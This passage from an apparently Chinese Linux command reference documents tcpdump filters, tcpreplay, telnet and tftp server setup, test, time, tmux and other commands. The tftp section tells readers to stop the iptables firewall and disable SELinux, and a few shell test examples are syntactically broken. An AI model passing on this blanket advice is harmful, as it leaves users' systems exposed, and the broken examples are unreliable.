如果想要获取主机210.27.48.1除了和主机210.27.48.2之外所有主机通信的ip包,使用命令:

:`tcpdump ip host 210.27.48.1 and ! 210.27.48.2`
截获主机hostname发送的所有数据

:`tcpdump -i eth0 src host hostname`
监视所有送到主机hostname的数据包

:`tcpdump -i eth0 dst host hostname`
监视指定主机和端口的数据包

如果想要获取主机210.27.48.1接收或发出的telnet包,使用如下命令

:`tcpdump tcp port 23 host 210.27.48.1`
对本机的udp 123 端口进行监视 123 为ntp的服务端口

:`tcpdump udp port 123`
监视指定网络的数据包

打印本地主机与Berkeley网络上的主机之间的所有通信数据包

:`tcpdump net ucb-ether`
ucb-ether此处可理解为“Berkeley网络”的网络地址,此表达式最原始的含义可表达为:打印网络地址为ucb-ether的所有数据包

打印所有通过网关snup的ftp数据包

:`tcpdump 'gateway snup and (port ftp or ftp-data)'`
注意:表达式被单引号括起来了,这可以防止shell对其中的括号进行错误解析

打印所有源地址或目标地址是本地主机的IP数据包

:`tcpdump ip and not net localnet`
如果本地网络通过网关连到了另一网络,则另一网络并不能算作本地网络。
</pre>
!!简介
:<div>
tcpreplay
===

将PCAP包重新发送,用于性能或者功能测试

</div>

!! 补充说明

:<div>


简单的说, "tcpreplay" 是一种pcap包的重放工具,它可以将用ethreal、wireshark工具抓下来的包原样或经过任意修改后重放回去。它允许你对报文做任意的修改(主要是指对2层、3层、4层报文头),指定重放报文的速度等,这样tcpreplay就可以用来复现抓包的情景以定位bug,以极快的速度重放从而实现压力测试。

</div>

!! 选项  

:<div>


```
-A "<args>" 在使用 tcpdump 风格打印输出信息时,同时再调用tcpdump中的参数, 默认已经带有“-n,-l”,所以一般看到的都是ip地址,而没有主机名的打印,注意这个是在tcpreplay使用了-v参数时才能使用,不带-v不会报错,但是没有实际意义。格式:-vA “nnt”表示以tcpdump风格输出报文信息,并且不打印时间戳、主机名、端口服务名称。注意不要使用-c参数来指定打印的数据报文的个数,这样发送出去的报文也会变少。
-c <cachefile> 双网卡回放报文必选参数,后面紧跟cache文件名,该文件为tcpprep根据对应的pcap文件构造出来。 
-D 把应用层的数据,使用dump mode写入到指定文件中去,和-w、-W 参数一起使用。 
-e <ip1:ip2> 指定端点的ip,即把发送报文的和接收的报文的ip都修改称对应的参数值中指定的ip,但是这样发送的出的报文不会区分client和server。。 
-f <configfile> 指定配置文件。
-F 在发送报文时,自动纠正错误的校验和。对测试DUT的校验和检验。
-h 显示帮助文件。 
-i <nic> 双网卡回放报文必选参数,指定主接口。
-I <mac> 重写主网卡发送出报文的目的MAC地址。 
-j <nic> 双网卡回放报文必选参数,指定从接口。
-J <mac> 重写从网卡发送出报文的目的MAC地址。 
-k <mac> 重写主网卡发送报文的源MAC地址。 
-K <mac> 重写从网卡发送报文的源MAC地址。
-l <loop> 指定循环的次数。
-L <limit> 指定最大的发包数量。可以在确认连接的调试时使用。 
-m <multiple> 指定一个倍数值,就是必默认发送速率要快多少倍的速率发送报文。 加大发送的速率后,对于DUT可能意味着有更多的并发连接和连接数,特别是对于BT报文的重放, 因为连接的超时是固定的,如果速率增大的话, 留在session表中的连接数量增大,还可以通过修改连接的超时时间来达到该目的。
-M 表示不发送“火星”的ip报文,man文件中的定义是 0/8、172/8、 255/8。
-n 在使用-S参数,不对混杂模式进行侦听。
-N <CIDR1:CIDR2,...> 通过伪造的NAT,重写IP地址。这个参数应该有很重要的应用,目前没有测试使用。
-O 没有测试使用。
-p <packetrate> 指定每秒发送报文的个数,指定该参数,其它速率相关的参数被忽略,最后的打印信息不会有速率和每秒发送报文的统计。
-P 表示在输出信息中打印PID的信息,用于单用户或单帐户模式下暂停和重启程序。
-r <rate> 指定发送的速率。目前-m/-r/-p这3个参数的相互关系。
-R 让网卡极限速度发数据包。 
-t <mtu> 指定MTU,标准的10/100M网卡的默认值是1500。 
-T Truncate packets > 截去报文中MTU大于标准值的部分再发送出去,默认是不发送,skip掉。
-v 每发送一个报文都以 tcpdump 的风格打印出对应的信息。
-V 查看版本号。
-w <file> 将主网卡发送的报文写入一个文件中,参数后紧跟文件名。

```

</div>

!! 实例  

:<div>


 "1、重放在客户端 ftp 连接的报文 " 

a、在客户端使用 ethereal 抓包,存为 ftp.pcap 文件。

b、 将 ftp.pcap 文件进行 tcpprep 操作,制作 cache 文件。

```
[root@A ~]# tcpprep -an client -i ftp.pcap -o ftp.cache –v 
```

c、 将 DUT 设备的两个接口和 PC 的两个接口使用网线连接,使用 tcpreplay 重 放报文。注意防火墙的配置为网桥(透明)模式。 

```
[root@A ~]# tcpreplay -c ftp.cache -i eth0 -j eth1 ftp.pcap -R –v 
```

-R 参数表示全速发送,-v 显示打印信息。 

 "2、重放在客户端 BT 连接的报文 " 

a、在实验室 BT 下载一些台湾的娱乐节目和热门的大片,使用 ethereal 抓包, 存为 bt.pcap 文件。注意 pcap 文件大小的控制,对 pc 的内存要求比较高,我保 存了一个 600 多 M 的 pcap 文件用了 40 多分钟,大家有需要可以直接从实验室 copy。 

b、将 bt.pcap 文件进行 tcpprep 操作,制作 cache 文件。

```
 [root@A ~]# tcpprep -an client -i bt.pcap -o bt.cache -C "100M BT Packet" –v
```

制作 cache 文件,在 cache 文件中写入“100M BT Packet”的注释。 

c、使用 tcpreplay 重放报文。 

```
[root@A ~]# tcpreplay -c bt.cache -i eth0 -j eth1 bt.pcap -v –R 
```

 "3、重放 tftp 服务器上抓到的报文 " 

a、在 tftp 服务器上使用 ethereal 抓包,存为 tftp.pcap 文件。 

b、将 pcap 文件进行 tcpprep 的操作,制作 cache 文件。 

```
[root@A ~]# tcpprep -an server -i tftp.pcap -o tftp.cache –v 
```

注意:我在测试的时候犯了一个错误,使用 DUT 的 tftp 升级来做实验,同时穿 过 DUT 重放报文,结果在网卡发送报文的后,DUT 的 mac 地址做了的回应,导致 交互过程没有穿过 DUT,这个问题比较搞笑,上午弄了半天才发现原因,开始还 以为 udp 的连接不能重放。 

c、使用 tcpreplay 重放报文。 

```
[root@A ~]# tcpreplay -c tftp.cache -i eth0 -j eth1 tftp.pcap –v
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* desc<pre>
tee命令用于将数据重定向到文件,另一方面还可以提供一份重定向数据的副本作为后续命令的stdin。简单的说就是把数据重定向到给定文件和屏幕上。
[img[http://man.linuxde.net/wp-content/uploads/2013/12/073315SF8.gif]]
</pre>

* EXP<pre>

```bash
# To tee stdout to a file:
ls | tee outfile.txt

# To tee stdout and append to a file:
ls | tee -a outfile.txt

```
</pre>
!!简介
:<div>
telint
===

切换当前正在运行系统的运行等级

</div>

!! 补充说明

:<div>


"telint命令" 用于切换当前正在运行的Linux系统的运行等级。

</div>

!! 语法  

:<div>


```
telint(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-t:指定等待的秒数。
```

</div>

!! 参数  

:<div>


运行等级:指定要切换的运行等级。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
telnet
===

登录远程主机和管理(测试ip端口是否连通)

</div>

!! 补充说明

:<div>


"telnet命令" 用于登录远程主机,对远程主机进行管理。telnet因为采用明文传送报文,安全性不好,很多Linux服务器都不开放telnet服务,而改用更安全的ssh方式了。但仍然有很多别的系统可能采用了telnet方式来提供远程登录,因此弄清楚telnet客户端的使用方式仍是很有必要的。

</div>

!! 语法

:<div>


```
telnet(选项)(参数)
```

</div>

!! 选项

:<div>


```
-8:允许使用8位字符资料,包括输入与输出;
-a:尝试自动登入远端系统;
-b<主机别名>:使用别名指定远端主机名称;
-c:不读取用户专属目录里的.telnetrc文件;
-d:启动排错模式;
-e<脱离字符>:设置脱离字符;
-E:滤除脱离字符;
-f:此参数的效果和指定"-F"参数相同;
-F:使用Kerberos V5认证时,加上此参数可把本地主机的认证数据上传到远端主机;
-k<域名>:使用Kerberos认证时,加上此参数让远端主机采用指定的领域名,而非该主机的域名;
-K:不自动登入远端主机;
-l<用户名称>:指定要登入远端主机的用户名称;
-L:允许输出8位字符资料;
-n<记录文件>:指定文件记录相关信息;
-r:使用类似rlogin指令的用户界面;
-S<服务类型>:设置telnet连线所需的ip TOS信息;
-x:假设主机有支持数据加密的功能,就使用它;
-X<认证形态>:关闭指定的认证形态。
```

</div>

!! 参数

:<div>


*   远程主机:指定要登录进行管理的远程主机;
*   端口:指定TELNET协议使用的端口号。

</div>

!! 实例

:<div>


```
$ telnet 192.168.2.10
Trying 192.168.2.10...
Connected to 192.168.2.10 (192.168.2.10).
Escape character is '^]'.

    localhost (Linux release 2.6.18-274.18.1.el5 #1 SMP Thu Feb 9 12:45:44 EST 2012) (1)

login: root
Password:
Login incorrect
```

一般情况下不允许root从远程登录,可以先用普通账号登录,然后再用su -切到root用户。

```
$ telnet 192.168.188.132
Trying 192.168.188.132...
telnet: connect to address 192.168.188.132: Connection refused
telnet: Unable to connect to remote host
```

处理这种情况方法:

1. 确认ip地址是否正确?
1. 确认ip地址对应的主机是否已经开机?
1. 如果主机已经启动,确认路由设置是否设置正确?(使用route命令查看)
1. 如果主机已经启动,确认主机上是否开启了telnet服务?(使用netstat命令查看,TCP的23端口是否有LISTEN状态的行)
1. 如果主机已经启动telnet服务,确认防火墙是否放开了23端口的访问?(使用iptables-save查看)

"启动telnet服务"

```
service xinetd restart
```

配置参数,通常的配置如下:

```
service telnet
{
    disable = no #启用
    flags = REUSE #socket可重用
    socket_type = stream #连接方式为TCP
    wait = no #为每个请求启动一个进程
    user = root #启动服务的用户为root
    server = /usr/sbin/in.telnetd #要激活的进程
    log_on_failure += USERID #登录失败时记录登录用户名
}
```

如果要配置允许登录的客户端列表,加入
```
only_from = 192.168.0.2 #只允许192.168.0.2登录
```
如果要配置禁止登录的客户端列表,加入
```
no_access = 192.168.0.{2,3,4} #禁止192.168.0.2、192.168.0.3、192.168.0.4登录
```
如果要设置开放时段,加入
```
access_times = 9:00-12:00 13:00-17:00 # 每天只有这两个时段开放服务(我们的上班时间:P)
```

如果你有两个IP地址,一个是私网的IP地址如192.168.0.2,一个是公网的IP地址如218.75.74.83,如果你希望用户只能从私网来登录telnet服务,那么加入
```
bind = 192.168.0.2
```

各配置项具体的含义和语法可参考xined配置文件属性说明(man xinetd.conf)

配置端口,修改services文件:

```
# vi /etc/services
```

找到以下两句

```
telnet 23/tcp
telnet 23/udp
```

如果前面有#字符,就去掉它。telnet的默认端口是23,这个端口也是黑客端口扫描的主要对象,因此最好将这个端口修改掉,修改的方法很简单,就是将23这个数字修改掉,改成大一点的数字,比如61123。注意,1024以下的端口号是internet保留的端口号,因此最好不要用,还应该注意不要与其它服务的端口冲突。

启动服务:
```
service xinetd restart
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
|!指令      |!描述                                                     |
|close   	|close current connection                                   |
|logout  	|forcibly logout remote user and close the connection       |
|display 	|display operating parameters                               |
|mode    	|try to enter line or character mode ('mode ?' for more)    |
|open    	|connect to a site                                          |
|quit    	|exit telnet                                                |
|send    	|transmit special characters ('send ?' for more)            |
|set     	|set operating parameters ('set ?' for more)                |
|unset   	|unset operating parameters ('unset ?' for more)            |
|status  	|print status information                                   |
|toggle  	|toggle operating parameters ('toggle ?' for more)          |
|slc     	|change state of special charaters ('slc ?' for more)       |
|z       	|suspend telnet                                             |
|!       	|invoke a subshell                                          |
|environ 	|change environment variables ('environ ?' for more)        |
|?       	|print help information                                     |
!!简介
:<div>
tempfile
===

shell中给临时文件命名

</div>

!! 补充说明

:<div>


有时候在写Shell脚本的时候需要一些临时存储数据的才做,最适合存储临时文件数据的位置就是`/tmp`,因为该目录中所有的内容在系统重启后就会被清空。下面是两种方法为临时数据生成标准的文件名。

</div>

!! tempfile命令  

:<div>


`tempfile命令`只有在基于Debian的发行版中才默认自带,比如Ubuntu,其他发行版没有这个命令。

用tempfile命令为一个临时文件命名:

```
temp_file_name=$(tempfile)
```

用一个加带了随机数的文件名作为临时文件命名:

```
temp_file_name="/tmp/file_$RANDOM"
```

$RANDOM是一个返回随机数的环境变量。

</div>

!! $$变量  

:<div>


如果没有tempfile命令的Linux发行版,也可以使用自己的临时文件名:

```
temp_file_name="/tmp/file.$"
```

`$$`是系统预定义变量,显示当前所在进程的进程号,用`.$$`作为添加的后缀会被扩展成当前运行脚本的进程id。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''test''命令是shell环境中测试条件表达式的实用工具。

!选项
:<pre>

```bash

-b<文件>:如果文件为一个块特殊文件,则为真;
-c<文件>:如果文件为一个字符特殊文件,则为真;
-d<文件>:如果文件为一个目录,则为真;
-e<文件>:如果文件存在,则为真;
-f<文件>:如果文件为一个普通文件,则为真;
-g<文件>:如果设置了文件的SGID位,则为真;
-G<文件>:如果文件存在且归该组所有,则为真;
-k<文件>:如果设置了文件的粘着位,则为真;
-O<文件>:如果文件存在并且归该用户所有,则为真;
-p<文件>:如果文件为一个命名管道,则为真;
-r<文件>:如果文件可读,则为真;
-s<文件>:如果文件的长度不为零,则为真;
-S<文件>:如果文件为一个套接字特殊文件,则为真;
-u<文件>:如果设置了文件的SUID位,则为真;
-w<文件>:如果文件可写,则为真;
-x<文件>:如果文件可执行,则为真。
```
</pre>

!实例
linux中shell编程中的test常见用法:

;判断表达式
:<pre>

```bash

if test     #表达式为真
if test !   #表达式为假
test 表达式1 –a 表达式2     #两个表达式都为真
test 表达式1 –o 表达式2     #两个表达式有一个为真
test 表达式1 ! 表达式2       #条件求反
```
</pre>

;判断字符串
:<pre>

```bash

test –n 字符串    #字符串的长度非零
test –z 字符串    #字符串的长度是否为零
test 字符串1=字符串2       #字符串是否相等,若相等返回true
test 字符串1!=字符串2      #字符串是否不等,若不等反悔false
```
</pre>

;判断整数
:<pre>

```bash

test 整数1 -eq 整数2    #整数相等
test 整数1 -ge 整数2    #整数1大于等于整数2
test 整数1 -gt 整数2    #整数1大于整数2
test 整数1 -le 整数2    #整数1小于等于整数2
test 整数1 -lt 整数2    #整数1小于整数2
test 整数1 -ne 整数2    #整数1不等于整数2
```
</pre>

;判断文件
:<pre>

```bash

test File1 –ef File2    两个文件是否为同一个文件,可用于硬连接。主要判断两个文件是否指向同一个inode。
test File1 –nt File2    判断文件1是否比文件2新
test File1 –ot File2    判断文件1比是否文件2旧
test –b file   #文件是否块设备文件
test –c File   #文件并且是字符设备文件
test –d File   #文件并且是目录
test –e File   #文件是否存在 (常用)
test –f File   #文件是否为正规文件 (常用)
test –g File   #文件是否是设置了组id
test –G File   #文件属于的有效组ID
test –h File   #文件是否是一个符号链接(同-L)
test –k File   #文件是否设置了Sticky bit位
test –b File   #文件存在并且是块设备文件
test –L File   #文件是否是一个符号链接(同-h)
test –o File   #文件的属于有效用户ID
test –p File   #文件是一个命名管道
test –r File   #文件是否可读
test –s File   #文件是否是非空白文件
test –t FD     #文件描述符是在一个终端打开的
test –u File   #文件存在并且设置了它的set-user-id位
test –w File   #文件是否存在并可写
test –x File   #文件属否存在并可执行

```

```bash
#文件描述符是在一个终端打开的
[ -t 25 ] && echo is open || echo not open

a=10;[! $a = 10] && echo true

 #文件是否可读
[ -r /etc/issue ] && [ -w /etc/shadow ] && echo true

#文件是否存在并可写
[ -r /etc/issue -a -w /etc/shadow ] && echo true

# !
[ ! \(-r /etc/issue -a -w /etc/shadow) ] && echo true
[ ! -r /etc/issue -a ! -w /etc/shadow) ] && echo true

(!a) -o (!b)=!(a -a b)
(!a) -a (!b)=!(a -o b)
```
</pre>
!!简介
:<div>
tftp
===

在本机和tftp服务器之间使用TFTP协议传输文件

</div>

!! 补充说明

:<div>


"tftp命令" 用在本机和tftp服务器之间使用TFTP协议传输文件。

TFTP是用来下载远程文件的最简单网络协议,它其于UDP协议而实现。嵌入式linux的tftp开发环境包括两个方面:一是linux服务器端的tftp-server支持,二是嵌入式目标系统的tftp-client支持。因为u-boot本身内置支持tftp-client,所以嵌入式目标系统端就不用配置了。下面就详细介绍一下linux服务器端tftp-server的配置。

</div>

!! 语法  

:<div>


```
tftp(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-c:指定与tftp服务器连接成功后,立即要执行的指令;
-m:指定文件传输模式。可以是ASCII或者Binary;
-v:显示指令详细执行过程;
-V:显示指令版本信息。
```

</div>

!! 参数  

:<div>


主机:指定tftp要联机的tftp服务器的ip地址或主机名。

</div>

!! 实例  

:<div>


 "1、安装tftp服务器" 

需要安装xinetd、tftp和tftp-server 3个软件

如果能上网,通过yum安装:

```
yum install xinetd
yum install tftp
yum install tftp-server
```

如果不能上网,可以直接安装提供的rpm包:

```
rpm -ivh xinetd-2.3.14-18.fc9.i386.rpm
rpm -ivh tftp-0.48-3.fc9.i386.rpm
rpm -ivh tftp-server-0.48-3.fc9.i386.rpm
```

 "2、配置tftp服务器" 

修改/etc/xinetd.d/tftp文件,将其中的disable=yes改为disable=no。主要是设置TFTP服务器的根目录,开启服务。修改后的文件如下:

```
service tftp
{
       socket_type           =dgram
       protocol              =udp
       wait                  =yes
       user                  =root
       server                =/usr/sbin/in.tftpd
       server_args           =-s  /home/mike/tftpboot -c
       disable               =no
       per_source            =11
       cps                   =100 2
       flags                 =IPv4
}
```

说明:修改项`server_args= -s <path> -c`,其中<path>处可以改为你的tftp-server的根目录,参数-s指定chroot,-c指定了可以创建文件。

 "3、启动tftp服务器并关闭防火墙" 

```
/etc/init.d/iptables stop        //关闭防火墙
sudo /sbin/service xinetd start
或
service xinetd restart
/etc/init.d/xinetd start
```

看到启动[OK]就可以了

4、查看tftp服务是否开启

```
netstat -a | grep tftp
```

显示结果为`udp 0 0 *:tftp *:*`表明服务已经开启,就表明tftp配置成功了。

 "5、tftp使用" 

复制一个文件到tftp服务器目录,然后在主机启动tftp软件,进行简单测试。

```
tftp 192.168.1.2
tftp>get <download file> 

tftp>put <upload file>
tftp>q
```

 "6、tftp命令用法如下" 

```
tftp your-ip-address
```

进入TFTP操作:

*   connect:连接到远程tftp服务器
*   mode:文件传输模式
*   put:上传文件
*   get:下载文件
*   quit:退出
*   verbose:显示详细的处理信息
*   tarce:显示包路径
*   status:显示当前状态信息
*   binary:二进制传输模式
*   ascii:ascii 传送模式
*   rexmt:设置包传输的超时时间
*   timeout:设置重传的超时时间
*   help:帮助信息
*   ? :帮助信息

 "7、如果老是出现“AVC Denial, click icon to view”的错误,并不能传输文件,需要作如下修改" 

修改`/etc/sysconfig/selinux`,将SELINUX设定为disable,使用命令`setenforce 0`让selinux配置文件生效。

 "8、Busybox中tftp命令的用法" 

命令格式为:

```
tftp [option] ... host [port]
```

如果要下载或上传文件的话是一定要用这些option的。

```
-g 表示下载文件 (get)
-p 表示上传文件 (put)
-l 表示本地文件名 (local file)
-r 表示远程主机的文件名 (remote file)
```

例如,要从远程主机192.168.1.2上下载 embedexpert,则应输入以下命令

```
tftp -g -r embedexpert 192.168.1.2
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
`time`命令用于统计给定命令所花费的总时间。

!实例
当测试一个程序或比较不同算法时,执行时间是非常重要的,一个好的算法应该是用时最短的。所有类UNIX系统都包含time命令,使用这个命令可以统计时间消耗。例如:

```bash
[root@localhost ~]# time ls
anaconda-ks.cfg  install.log  install.log.syslog  satools  text

real    0m0.009s
user    0m0.002s
sys     0m0.007s
```
输出的信息分别显示了该命令所花费的real时间、user时间和sys时间。

* real时间是指挂钟时间,也就是命令开始执行到结束的时间。这个短时间包括其他进程所占用的时间片,和进程被阻塞时所花费的时间。
* user时间是指进程花费在用户模式中的CPU时间,这是唯一真正用于执行进程所花费的时间,其他进程和花费阻塞状态中的时间没有计算在内。
* sys时间是指花费在内核模式中的CPU时间,代表在内核中执系统调用所花费的时间,这也是真正由进程使用的CPU时间。
shell内建也有一个time命令,当运行time时候是调用的系统内建命令,应为系统内建的功能有限,所以需要时间其他功能需要使用time命令可执行二进制文件`/usr/bin/time`。

使用-o选项将执行时间写入到文件中:

```
/usr/bin/time -o outfile.txt ls
```
使用-a选项追加信息:

```
/usr/bin/time -a -o outfile.txt ls
```
使用-f选项格式化时间输出:

```
/usr/bin/time -f "time: %U" ls
```

* -f选项后的参数:

    ** %E	real时间,显示格式为[小时:]分钟:秒
    ** %U	user时间。
    ** %S	sys时间。
    ** %C	进行计时的命令名称和命令行参数。
    ** %D	进程非共享数据区域,以KB为单位。
    ** %x	命令退出状态。
    ** %k	进程接收到的信号数量。
    ** %w	进程被交换出主存的次数。
    ** %Z	系统的页面大小,这是一个系统常量,不用系统中常量值也不同。
    ** %P	进程所获取的CPU时间百分百,这个值等于user+system时间除以总共的运行时间。
    ** %K	进程的平均总内存使用量(data+stack+text),单位是KB。
    ** %w	进程主动进行上下文切换的次数,例如等待I/O操作完成。
    ** %c	进程被迫进行上下文切换的次数(由于时间片到期)。
!!简介
:<div>
tload
===

显示系统负载状况

</div>

!! 补充说明

:<div>


"tload命令" 以图形化的方式输出当前系统的平均负载到指定的终端。假设不给予终端机编号,则会在执行tload指令的终端机显示负载情形。

</div>

!! 语法  

:<div>


```
tload(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-s:指定闲时的刻度;
-d:指定间隔的时间(秒)。
```

</div>

!! 参数  

:<div>


终端:指定显示信息的终端设备文件。

</div>

!! 实例  

:<div>


使用tload命令查看系统负载情况:

```
tload -d 1
0.08, 0.02,0.01
0.04, 0.01, 0.00
0.04, 0.01, 0.00
0.04, 0.01,0.00
0.06, 0.02, 0.00
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
tmux
===

Tmux是一个优秀的终端复用软件,类似GNU Screen,但来自于OpenBSD,采用BSD授权。

</div>

!! 补充说明

:<div>


使用它最直观的好处就是,通过一个终端登录远程主机并运行tmux后,在其中可以开启多个控制台而无需再“浪费”多余的终端来连接这台远程主机;

</div>

!! 功能

:<div>


-  提供了强劲的、易于使用的命令行界面。
-  可横向和纵向分割窗口。
-  窗格可以自由移动和调整大小,或直接利用四个预设布局之一。
-  支持 UTF-8 编码及 256 色终端。
-  可在多个缓冲区进行复制和粘贴。
-  可通过交互式菜单来选择窗口、会话及客户端。
-  支持跨窗口搜索。
-  支持自动及手动锁定窗口。

</div>

!! 安装

:<div>


```bash
# 在 Mac OS 中,通过 brew 安装
brew install tmux
# ubuntu版本下直接apt-get安装
sudo apt-get install tmux
# centos7版本下直接yum安装
yum install -y tmux

# centos6版本需要编译安装
yum install libevent libevent-devel ncurses-devel
tar -zvxf tmux-2.3.tar.gz # (提前下载:wget https://github.com/tmux/tmux/releases/download/2.3/tmux-2.3.tar.gz)
cd tmux-2.3
./configure
make && make install
```

</div>

!! 快捷键使用说明

:<div>


<table class="table-view log-set-param">
<tbody>
<tr>
<td colspan="2" align="left" valign="center" width="0">
  <div>Ctrl+b</div>
</td>
<td>
  <div>激活控制台;此时以下按键生效</div>
</td>
</tr>
<tr>
<td rowspan="9" align="left" valign="center" width="0">
  <div>系统操作</div>
</td>
<td>
  <div>?</div>
</td>
<td>
  <div>列出所有快捷键;按q返回</div>
</td>
</tr>
<tr>
<td>
  <div>d</div>
</td>
<td>
  <div>脱离当前会话;这样可以暂时返回Shell界面,输入tmux attach能够重新进入之前的会话</div>
</td>
</tr>
<tr>
<td>
  <div>D</div>
</td>
<td>
  <div>选择要脱离的会话;在同时开启了多个会话时使用</div>
</td>
</tr>
<tr>
<td>
  <div>Ctrl+z</div>
</td>
<td>
  <div>挂起当前会话</div>
</td>
</tr>
<tr>
<td>
  <div>r</div>
</td>
<td>
  <div>强制重绘未脱离的会话</div>
</td>
</tr>
<tr>
<td>
  <div>s</div>
</td>
<td>
  <div>选择并切换会话;在同时开启了多个会话时使用</div>
</td>
</tr>
<tr>
<td>
  <div>:</div>
</td>
<td>
  <div>进入命令行模式;此时可以输入支持的命令,例如kill-server可以关闭服务器</div>
</td>
</tr>
<tr>
<td>
  <div>[</div>
</td>
<td>
  <div>进入复制模式;此时的操作与vi/emacs相同,按q/Esc退出</div>
</td>
</tr>
<tr>
<td>
  <div>~</div>
</td>
<td>
  <div>列出提示信息缓存;其中包含了之前tmux返回的各种提示信息</div>
</td>
</tr>
<tr>
<td rowspan="10" align="left" valign="center" width="0">
  <div>窗口操作</div>
</td>
<td>
  <div>c</div>
</td>
<td>
  <div>创建新窗口</div>
</td>
</tr>
<tr>
<td>
  <div>&amp;</div>
</td>
<td>
  <div>关闭当前窗口</div>
</td>
</tr>
<tr>
<td>
  <div>数字键</div>
</td>
<td>
  <div>切换至指定窗口</div>
</td>
</tr>
<tr>
<td>
  <div>p</div>
</td>
<td>
  <div>切换至上一窗口</div>
</td>
</tr>
<tr>
<td>
  <div>n</div>
</td>
<td>
  <div>切换至下一窗口</div>
</td>
</tr>
<tr>
<td>
  <div>l</div>
</td>
<td>
  <div>在前后两个窗口间互相切换</div>
</td>
</tr>
<tr>
<td>
  <div>w</div>
</td>
<td>
  <div>通过窗口列表切换窗口</div>
</td>
</tr>
<tr>
<td>
  <div>,</div>
</td>
<td>
  <div>重命名当前窗口;这样便于识别</div>
</td>
</tr>
<tr>
<td>
  <div>.</div>
</td>
<td>
  <div>修改当前窗口编号;相当于窗口重新排序</div>
</td>
</tr>
<tr>
<td>
  <div>f</div>
</td>
<td>
  <div>在所有窗口中查找指定文本</div>
</td>
</tr>
<tr>
<td rowspan="14" align="left" valign="center" width="0">
  <div>面板操作</div>
</td>
<td>
  <div>”</div>
</td>
<td>
  <div>将当前面板平分为上下两块</div>
</td>
</tr>
<tr>
<td>
  <div>%</div>
</td>
<td>
  <div>将当前面板平分为左右两块</div>
</td>
</tr>
<tr>
<td>
  <div>x</div>
</td>
<td>
  <div>关闭当前面板</div>
</td>
</tr>
<tr>
<td>
  <div>!</div>
</td>
<td>
  <div>将当前面板置于新窗口;即新建一个窗口,其中仅包含当前面板</div>
</td>
</tr>
<tr>
<td>
  <div>Ctrl+方向键</div>
</td>
<td>
  <div>以1个单元格为单位移动边缘以调整当前面板大小</div>
</td>
</tr>
<tr>
<td>
  <div>Alt+方向键</div>
</td>
<td>
  <div>以5个单元格为单位移动边缘以调整当前面板大小</div>
</td>
</tr>
<tr>
<td>
  <div>Space</div>
</td>
<td>
  <div>在预置的面板布局中循环切换;依次包括even-horizontal、even-vertical、main-horizontal、main-vertical、tiled</div>
</td>
</tr>
<tr>
<td>
  <div>q</div>
</td>
<td>
  <div>显示面板编号</div>
</td>
</tr>
<tr>
<td>
  <div>o</div>
</td>
<td>
  <div>在当前窗口中选择下一面板</div>
</td>
</tr>
<tr>
<td>
  <div>方向键</div>
</td>
<td>
  <div>移动光标以选择面板</div>
</td>
</tr>
<tr>
<td>
  <div>{</div>
</td>
<td>
  <div>向前置换当前面板</div>
</td>
</tr>
<tr>
<td>
  <div>}</div>
</td>
<td>
  <div>向后置换当前面板</div>
</td>
</tr>
<tr>
<td>
  <div>Alt+o</div>
</td>
<td>
  <div>逆时针旋转当前窗口的面板</div>
</td>
</tr>
<tr>
<td>
  <div>Ctrl+o</div>
</td>
<td>
  <div>顺时针旋转当前窗口的面板</div>
</td>
</tr>
</tbody>
</table>

1)进入tmux面板后,一定要先按ctrl+b,然后松开,再按其他的组合键才生效。
2)常用到的几个组合键:

```
ctrl+b ?            显示快捷键帮助
ctrl+b 空格键       采用下一个内置布局,这个很有意思,在多屏时,用这个就会将多有屏幕竖着展示
ctrl+b !            把当前窗口变为新窗口
ctrl+b  "           模向分隔窗口
ctrl+b %            纵向分隔窗口
ctrl+b q            显示分隔窗口的编号
ctrl+b o            跳到下一个分隔窗口。多屏之间的切换
ctrl+b 上下键      上一个及下一个分隔窗口
ctrl+b C-方向键    调整分隔窗口大小
ctrl+b &           确认后退出当前tmux
ctrl+b [           复制模式,即将当前屏幕移到上一个的位置上,其他所有窗口都向前移动一个。
ctrl+b c           创建新窗口
ctrl+b n           选择下一个窗口
ctrl+b l           最后使用的窗口
ctrl+b p           选择前一个窗口
ctrl+b w           以菜单方式显示及选择窗口
ctrl+b s           以菜单方式显示和选择会话。这个常用到,可以选择进入哪个tmux
ctrl+b t           显示时钟。然后按enter键后就会恢复到shell终端状态
ctrl+b d           脱离当前会话;这样可以暂时返回Shell界面,输入tmux attach能够重新进入之前的会话
```

</div>

!! 参考资料

:<div>


- tmux 官网下载地址:http://tmux.github.io/ 
</div>
<div class="TODO">

    <<toc-selective-expandable 'TODO'>>

</div>

!!recheck

:<pre>

[[:]]
[[.]]
[[ansible]]
[[arch]]
[[arp]]
[[arping]]
[[at]]
[[awk]]
[[basename]]
[[bc]]
[[blkid]]
[[bmon]]
[[cacls]]
[[cat]]
[[cd]]
[[chage]]
[[chattr]]
[[chfn]]
[[chgrp]]
[[chkconfig]]
[[chmod]]
[[chown]]
[[chvt]]
[[cksum]]
[[col]]
[[cp]]
[[cpio]]
[[crontab]]
[[cut]]
[[date]]
[[dd]]
[[declare]]
[[df]]
[[dig]]
[[dirname]]
[[dmesg]]
[[dmicode]]
[[docker]]
[[dstat]]
[[du]]
[[dump]]
[[dumpe2fs]]
[[echo]]
[[enable]]
[[env]]
[[exec]]
[[export]]
[[expr]]
[[fallocate]]
[[false]]
[[file]]
[[find]]
[[free]]
[[ftp.client]]
[[fuser]]
[[get_module]]
[[glance]]
[[gpasswd]]
[[grep]]
[[groupadd]]
[[groupdel]]
[[groupmems]]
[[groupmod]]
[[groups]]
[[grub]]
[[grub-encrypt]]
[[grub-install]]
[[grub-md5-crypt]]
[[gunzip]]
[[halt]]
[[head]]
[[hexdump]]
[[history]]
[[host]]
[[hostname]]
[[hwclock]]
[[iconv]]
[[id]]
[[if]]
[[ifconfig]]
[[ifstat]]
[[iftop]]
[[info]]
[[init]]
[[insmod]]
[[inxi]]
[[iostat]]
[[ip]]
[[iptables]]
